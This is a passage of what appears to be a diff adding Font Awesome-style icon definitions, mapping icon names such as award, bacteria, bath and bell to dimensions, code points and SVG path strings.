"f29e", "M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z" ], + award: [ 384, 512, [], "f559", "M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z" ], + baby: [ 384, 512, [], "f77c", "M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z" ], + "baby-carriage": [ 512, 512, [], "f77d", "M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z" ], + backspace: [ 640, 512, [], "f55a", "M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z" ], + backward: [ 512, 512, [], "f04a", "M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z" ], + bacon: [ 576, 512, [], "f7e5", "M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z" ], + bacteria: [ 640, 512, [], "e059", "M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,17.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,121.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z" ], + bacterium: [ 512, 512, [], "e05a", "M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z" ], + bahai: [ 512, 512, [], "f666", "M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z" ], + "balance-scale": [ 640, 512, [], "f24e", "M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + "balance-scale-left": [ 640, 512, [], "f515", "M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z" ], + "balance-scale-right": [ 640, 512, [], "f516", "M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z" ], + ban: [ 512, 512, [], "f05e", "M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z" ], + "band-aid": [ 640, 512, [], "f462", "M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z" ], + barcode: [ 512, 512, [], "f02a", "M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z" ], + bars: [ 448, 512, [], "f0c9", "M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z" ], + "baseball-ball": [ 496, 512, [], "f433", "M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z" ], + "basketball-ball": [ 496, 512, [], "f434", "M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z" ], + bath: [ 512, 512, [], "f2cd", "M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z" ], + "battery-empty": [ 640, 512, [], "f244", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z" ], + "battery-full": [ 640, 512, [], "f240", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z" ], + "battery-half": [ 640, 512, [], "f242", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z" ], + "battery-quarter": [ 640, 512, [], "f243", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z" ], + "battery-three-quarters": [ 640, 512, [], "f241", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z" ], + bed: [ 640, 512, [], "f236", "M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z" ], + beer: [ 448, 512, [], "f0fc", "M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z" ], + bell: [ 448, 512, [], "f0f3", "M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z" ], + "bell-slash": [ 640, 512, [], "f1f6", "M633.82 458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z" ], + "bezier-curve": [ 640, 512, [], "f55b", "M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" ], + bible: [ 448, 512, [], "f647", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 